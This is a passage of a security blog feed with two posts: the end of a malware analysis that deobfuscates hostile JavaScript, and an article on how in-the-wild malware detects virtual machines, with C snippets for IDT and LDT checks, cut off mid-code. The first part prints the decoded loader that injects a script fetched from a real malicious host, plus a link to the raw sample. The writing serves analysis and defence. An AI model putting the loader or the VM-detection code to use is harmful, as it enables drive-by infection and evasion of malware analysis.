&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; QS743__js_4 &lt;span class=&quot;sy0&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;00&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; RihOuI_7K &lt;span class=&quot;sy0&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;L&quot;&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;+&lt;/span&gt; QS743__js_4&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; f_Ha0lc_a_1_P &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; document.&lt;span class=&quot;me1&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;script&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;f_Ha0lc_a_1_P.&lt;span class=&quot;me1&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;text/javascript&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;f_Ha0lc_a_1_P.&lt;span class=&quot;me1&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;src&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;http://mdakab.info/cgi-bin/guest/y002106R09007318X86487362Ycd32e585Z0100f060&quot;&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;+&lt;/span&gt; RihOuI_7K&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;document.&lt;span class=&quot;me1&quot;&gt;body&lt;/span&gt;.&lt;span class=&quot;me1&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;f_Ha0lc_a_1_P&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
And here is the raw text of the javascript if you would like to download it and analyze it using the same techniques): &lt;a href=&quot;http://pastebin.com/raw.php?i=vPeBF37r&quot;&gt;&lt;span style=&quot;color: #044d8b;&quot;&gt;http://pastebin.com/raw.php?i=vPeBF37r&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;&lt;em&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;Important note!!&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Although the URL in line #39 is displayed in-tact above, when debugging please remove the string “mdakab.info” to prevent the network activity from taking place accidently (and executing logic you can’t yet debug easily).&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;Back to the network activity&lt;/h2&gt;&lt;br /&gt;
So we just took a VERY deep dive into javascript reverse engineering. If you look at the follow-on data in this session, we could explain why it happened based on what we just did.&lt;br /&gt;
&lt;br /&gt;
But... Did the work we just do seem like a waste of time? I mean, the activity is in the network traffic, so we can just examine the behavior of the javascript based on what happened after the client got it.&lt;br /&gt;
&lt;br /&gt;
That’s entirely true! If you reverse JS like this every time you see it, that is an enormous waste of time. However, the next post in this series will focus on the PDF file the javascript in this session eventually grabs and executes. There will be JS inside of there and we’ll need to know how to reverse it, so this post is really just the basis for the next in this series.&lt;br /&gt;
&lt;br /&gt;
At this point we also have a domain name from the embedded JS we can use to do the type of internet research shown at the bottom of the first post in this series. We’ll expand that line of analysis in further posts in this series also…&lt;br /&gt;
&lt;br /&gt;
Gary Golomb</content><link rel='replies' type='application/atom+xml' href='http://garygolomb.blogspot.com/feeds/8956457772272179311/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://garygolomb.blogspot.com/2011/01/network-forensics-and-reverse.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default/8956457772272179311'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default/8956457772272179311'/><link rel='alternate' type='text/html' href='http://garygolomb.blogspot.com/2011/01/network-forensics-and-reverse.html' title='Network Forensics and Reverse Engineering Series Part 2 - JavaScript analysis and reverse engineering'/><author><name>Gary Golomb</name><uri>http://www.blogger.com/profile/16783084866456430578</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='17' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbRNeGtEO_W_ItNA_YX1leAKitOl81FwZwc8AxB9392DDZM3EZeO3ujmVb2ApY2SQUQktxu93BRV9FQQupRDp0wyE8peWmR2oQ4_h0q1be5eZRH0-u-n59pXKh0bUXQsk/s220/IMG_0435.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9200389290278441968.post-3746538815957499802</id><published>2010-12-16T15:47:00.000-05:00</published><updated>2010-12-16T15:47:40.238-05:00</updated><title type='text'>VM Detection by In-The-Wild Malware</title><content type='html'>&lt;span style=&quot;font-family: Calibri;&quot;&gt;Note: This is a reprint of a posting I made for my company, NetWitness (&lt;/span&gt;&lt;a href=&quot;http://www.netwitness.com/&quot;&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;&lt;span style=&quot;color: #888888;&quot;&gt;www.netwitness.com&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Calibri;&quot;&gt;). This is unchanged from the original, however that copy can be found at: &lt;a href=&quot;http://www.networkforensics.com/2010/12/13/vm-detection-by-in-the-wild-malware/&quot;&gt;http://www.networkforensics.com/2010/12/13/vm-detection-by-in-the-wild-malware/&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Calibri;&quot;&gt;&lt;h1&gt;Motivation&lt;/h1&gt;&lt;br /&gt;
A large number of security researchers use Virtual Machines when analyzing malware and/or setting up both active and passive honeynets. There a numerous reasons for this, including: scalability, manageability, configuration and state snapshots, ability to run diverse operating systems, etc..&lt;br /&gt;
&lt;br /&gt;
Malware that attempts to detect if it’s running in a Virtual Machine (then change its behavior accordingly to prevent analysis by security people) is not a subject of academic fancy. A recent search of VirusTotal showed they receive &lt;strong&gt;&lt;em&gt;at least&lt;/em&gt;&lt;/strong&gt; 1,000 unique samples a week with VM detection capabilities. (This search was performed by searching for known function import names from non-standard DLLs.) Personally, my first encounter with malware that behaved completely differently inside a Virtual Machine (from a real host) was approximately eight years ago.&lt;br /&gt;
&lt;br /&gt;
VM detection does not apply just to the realm of APT-level malware. Agobot/Gaobot/PhatBot&amp;nbsp; is a family of massively deployed malware first released in 2004 with the ability to detect if running in either VMware or VirtualPC and changes its behavior accordingly. Considering just this example of how old and low-entry malware (with such a massive deployment) performs these actions, our attention to this subject should be especially keen.&lt;br /&gt;
&lt;h1&gt;Notes&lt;/h1&gt;&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;This post contains a number of techniques for VM detection used by malware, along with code demonstrating how simple these techniques are to implement. Except where noted, all techniques are currently used in the wild.&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Most of this post (but not all!) is a summary of other people’s work, not mine – except where noted. References are given and should be accurate. If not, email me and I’ll correct.&lt;/li&gt;
&lt;li&gt;Examples where simple code samples could not be produced will not be considered here.&lt;/li&gt;
&lt;li&gt;Only techniques that are difficult to mitigate are examined here. I’m sure there are hundreds of other ways to detect VM’s. Of the methods I’m familiar with, these were the ones that stood out in my mind as being difficult to fight.&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;h1&gt;Types of Virtual Machines&lt;/h1&gt;&lt;br /&gt;
Generally speaking, there are three types of Virtual Machines. They are:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Hardware Assisted – aka: Hypervisors – These VM’s use processor-specific instructions to cause the Host OS to [in effect] “fork,” where the original copy of the OS stays in a suspended state while the newly spawned “Guest copy” continues to run as if nothing happened. The important thing to keep in mind relative to this topic is that when the Guest executes machine level instructions, the actual hardware CPU is used to execute those instructions.&lt;/li&gt;
&lt;li&gt;Reduced Privilege – These are the VM’s most people are familiar with and use regularly. Here, the Host takes more of an active “proxy” role for the Guest by virtualizing important data structures and registers, then performing some level of translation services for some machine level instructions. Relative to this topic, the important thing to note here is that the guest – in effect – runs at a lower privilege than if it was truly controlling the CPU.&lt;/li&gt;
&lt;li&gt;Pure Software – Software VM’s act as full proxies to the CPU by implementing a truly virtual CPU the Guest interacts with.&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;h1&gt;Hypervisors (Hardware Assisted VMs)&lt;/h1&gt;&lt;br /&gt;
Xen &amp;gt; 3.x and Virtual Server 2005 are a couple examples of Hardware assisted virtual machines.&lt;br /&gt;
&lt;em&gt;Low-level&lt;/em&gt; detection of being virtualized in one of these environments is extremely difficult. Many people still call it impossible. While several people have talked publically about proof of concept code developed to detect these environments for years, none has been released or found in wild (that I’m aware of). Because of this, I will not talk about hypervisors any further than describing why detection is so difficult. (Since we have no code to examine how simple it is – the point of this post.)&lt;br /&gt;
A Hypervisor “guest” can be launched at any point after the OS has loaded. In preparation for launching a guest copy of the OS, the “host” sets up some basic CPU-specific control structures, then uses a single instruction (opcode) to cause the CPU to place the Host OS in a virtualized state while the Guest is basically a “forked copy” of the originally running OS. Once a Hypervisor has started running, the Guest OS basically has zero knowledge of this fact since all access to hardware is direct access. While the access to hardware is direct, the Hypervisor VM itself still has the ability to intercept interesting events – even before the Host OS has seen them. In this effect, a hypervisor VM is more powerful than both the Host and Guest OS’s because it sees everything before either of them. &amp;nbsp;Also, once a hypervisor is running, no others can become active. The first hypervisor VM has absolute control.&lt;br /&gt;
&lt;br /&gt;
All methods for detecting the presence of Hypervisors depend on timing functions, however they are only useful techniques in theory because of the infeasibility of creating a good baseline to compare timing results to in order to make a pass/fail decision. Another technique uses context switching to cause Translation Lookaside Buffers filled with a predetermined pattern of data to get flushed when a hypervisor is running. Describing the technique is far beyond the scope of this paper since there is no exploit code to examine, but… Based on my understanding of the following article, I’m not sure the technique is so relevant anymore anyways. &lt;a href=&quot;http://download.intel.com/technology/itj/2006/v10i3/v10-i3-art01.pdf&quot;&gt;&lt;span style=&quot;color: #044d8b;&quot;&gt;http://download.intel.com/technology/itj/2006/v10i3/v10-i3-art01.pdf&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h1&gt;VMware&lt;/h1&gt;&lt;br /&gt;
The non-ESX versions of VMware are reduced privilege VMs, and because of that are trivial to detect. Because critical data structures setup by the Operating System in critical regions of memory during OS start-up are already in use by the Host OS, VMware must relocate virtual copies of them for use by the Guest OS. This fact alone presents several powerful opportunities to detect when running inside a VMware image.&lt;br /&gt;
&lt;br /&gt;
The first example simply checks the base address of the Interrupt Descriptor Table, as shown below. If then IDT is at a location much higher than its normal location, the process is likely inside a VM. This technique is generally attributed to Joanna Rutkowska , and is described &lt;a href=&quot;http://invisiblethings.org/papers/redpill.html&quot;&gt;&lt;span style=&quot;color: #044d8b;&quot;&gt;here&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;
Code:&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;style&gt;
  div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #eee; border: 1px solid black; }  div.embedPastebin { border: none; }  div.embedPastebin div.embedFooter { background: #ccc; font-size: 100%; padding: 0px 6px; }  div.embedPastebin div.embedFooter a,  div.embedPastebin div.embedFooter a:visited { color: blue; }  div.embedPastebin div.embedFooter a:hover { color: red; }  .noLines ol { list-style-type: none; padding-left: 0.5em; } 
&lt;/style&gt;&lt;div class=&quot;embedPastebin&quot;&gt;&lt;div class=&quot;embedFooter&quot;&gt;Data provided by &lt;a href=&quot;http://pastebin.com/&quot;&gt;Pastebin.com&lt;/a&gt; - &lt;a href=&quot;http://pastebin.com/raw.php?i=L9UrWFG5&quot; target=&quot;_top&quot;&gt;Download Raw&lt;/a&gt;&lt;/div&gt;&lt;style&gt;
&lt;/style&gt;&lt;style type=&quot;text/css&quot;&gt;
/** * GeSHi (C) 2004 - 2007 Nigel McNie, 2007 - 2008 Benny Baumann * (http://qbnz.com/highlighter/ and http://geshi.org/) */.c .de1, .c .de2 {font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;}.c  {font-family:monospace;}.c .imp {font-weight: bold; color: red;}.c li, .c .li1 {background: #ffffff;}.c .ln {width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;}.c .li2 {background: #f8f8f8;}.c .kw1 {color: #b1b100;}.c .kw2 {color: #000000; font-weight: bold;}.c .kw3 {color: #000066;}.c .kw4 {color: #993333;}.c .co1 {color: #666666; font-style: italic;}.c .co2 {color: #339933;}.c .coMULTI {color: #808080; font-style: italic;}.c .es0 {color: #000099; font-weight: bold;}.c .es1 {color: #000099; font-weight: bold;}.c .es2 {color: #660099; font-weight: bold;}.c .es3 {color: #660099; font-weight: bold;}.c .es4 {color: #660099; font-weight: bold;}.c .es5 {color: #006699; font-weight: bold;}.c .br0 {color: #009900;}.c .sy0 {color: #339933;}.c .st0 {color: #ff0000;}.c .nu0 {color: #0000dd;}.c .nu6 {color: #208080;}.c .nu8 {color: #208080;}.c .nu12 {color: #208080;}.c .nu16 {color:#800080;}.c .nu17 {color:#800080;}.c .nu18 {color:#800080;}.c .nu19 {color:#800080;}.c .me1 {color: #202020;}.c .me2 {color: #202020;}.c span.xtra { display:block; }
&lt;/style&gt;&lt;div class=&quot;c&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;ol&gt;&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;kw4&quot;&gt;void&lt;/span&gt; detectVMwareIDT &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw4&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw4&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;char&lt;/span&gt; idtr&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;6&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw4&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;long&lt;/span&gt; idt_base &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; _asm sidt idtr&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; idt_base &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw4&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;&amp;amp;&lt;/span&gt;idtr&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;2&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;idt_base &lt;span class=&quot;sy0&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 24&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; 0xff&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;IDT at high relocation – inside VM&lt;span class=&quot;es1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;es1&quot;&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;else&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;IDT at a normal location&lt;span class=&quot;es1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;es1&quot;&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&amp;nbsp; In the above example, line #6 is the single line of assembly it takes to get the base address of the IDT, which is then tested a couple lines below that. SIDT is an instruction that stores the contents of the interrupt descriptor table register (IDTR) in the destination operand. It’s important to note this instruction is an unprivileged instruction that can be executed at any privilege level. However, according to the paper, “&lt;a href=&quot;http://www.offensivecomputing.net/files/active/0/vm.pdf&quot;&gt;&lt;span style=&quot;color: #044d8b;&quot;&gt;Detecting the Presence of Virtual Machines Using the Local Data Table&lt;/span&gt;&lt;/a&gt;,” verifying the IDT on multi-processor systems will fail when there is an IDT for each microprocessor. &lt;br /&gt;
&lt;br /&gt;
If that detection technique wasn’t simple enough, the next one is. VMware builds the Local Descriptor Table in memory, however Windows does not. Therefore, simply checking for a non-zero address for the LDT when running in Windows is enough to identify VMware.&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;style&gt;
  div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #eee; border: 1px solid black; }  div.embedPastebin { border: none; }  div.embedPastebin div.embedFooter { background: #ccc; font-size: 100%; padding: 0px 6px; }  div.embedPastebin div.embedFooter a,  div.embedPastebin div.embedFooter a:visited { color: blue; }  div.embedPastebin div.embedFooter a:hover { color: red; }  .noLines ol { list-style-type: none; padding-left: 0.5em; } 
&lt;/style&gt;&lt;div class=&quot;embedPastebin&quot;&gt;&lt;div class=&quot;embedFooter&quot;&gt;Data provided by &lt;a href=&quot;http://pastebin.com/&quot;&gt;Pastebin.com&lt;/a&gt; - &lt;a href=&quot;http://pastebin.com/raw.php?i=1MRAkUV6&quot; target=&quot;_top&quot;&gt;Download Raw&lt;/a&gt;&lt;/div&gt;&lt;style&gt;
&lt;/style&gt;&lt;style type=&quot;text/css&quot;&gt;
/** * GeSHi (C) 2004 - 2007 Nigel McNie, 2007 - 2008 Benny Baumann * (http://qbnz.com/highlighter/ and http://geshi.org/) */.c .de1, .c .de2 {font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;}.c  {font-family:monospace;}.c .imp {font-weight: bold; color: red;}.c li, .c .li1 {background: #ffffff;}.c .ln {width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;}.c .li2 {background: #f8f8f8;}.c .kw1 {color: #b1b100;}.c .kw2 {color: #000000; font-weight: bold;}.c .kw3 {color: #000066;}.c .kw4 {color: #993333;}.c .co1 {color: #666666; font-style: italic;}.c .co2 {color: #339933;}.c .coMULTI {color: #808080; font-style: italic;}.c .es0 {color: #000099; font-weight: bold;}.c .es1 {color: #000099; font-weight: bold;}.c .es2 {color: #660099; font-weight: bold;}.c .es3 {color: #660099; font-weight: bold;}.c .es4 {color: #660099; font-weight: bold;}.c .es5 {color: #006699; font-weight: bold;}.c .br0 {color: #009900;}.c .sy0 {color: #339933;}.c .st0 {color: #ff0000;}.c .nu0 {color: #0000dd;}.c .nu6 {color: #208080;}.c .nu8 {color: #208080;}.c .nu12 {color: #208080;}.c .nu16 {color:#800080;}.c .nu17 {color:#800080;}.c .nu18 {color:#800080;}.c .nu19 {color:#800080;}.c .me1 {color: #202020;}.c .me2 {color: #202020;}.c span.xtra { display:block; }
&lt;/style&gt;&lt;div class=&quot;c&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;ol&gt;&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;kw4&quot;&gt;void&lt;/span&gt; detectVMwareLDT &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw4&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw4&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;char&lt;/span&gt; &amp;nbsp;ldtr&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&#39;0xef&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;0xbe&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;0xad&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;0xde&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw4&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;long&lt;/span&gt; &amp;nbsp;ldt_base &amp;nbsp;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; _asm sldt ldtr&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
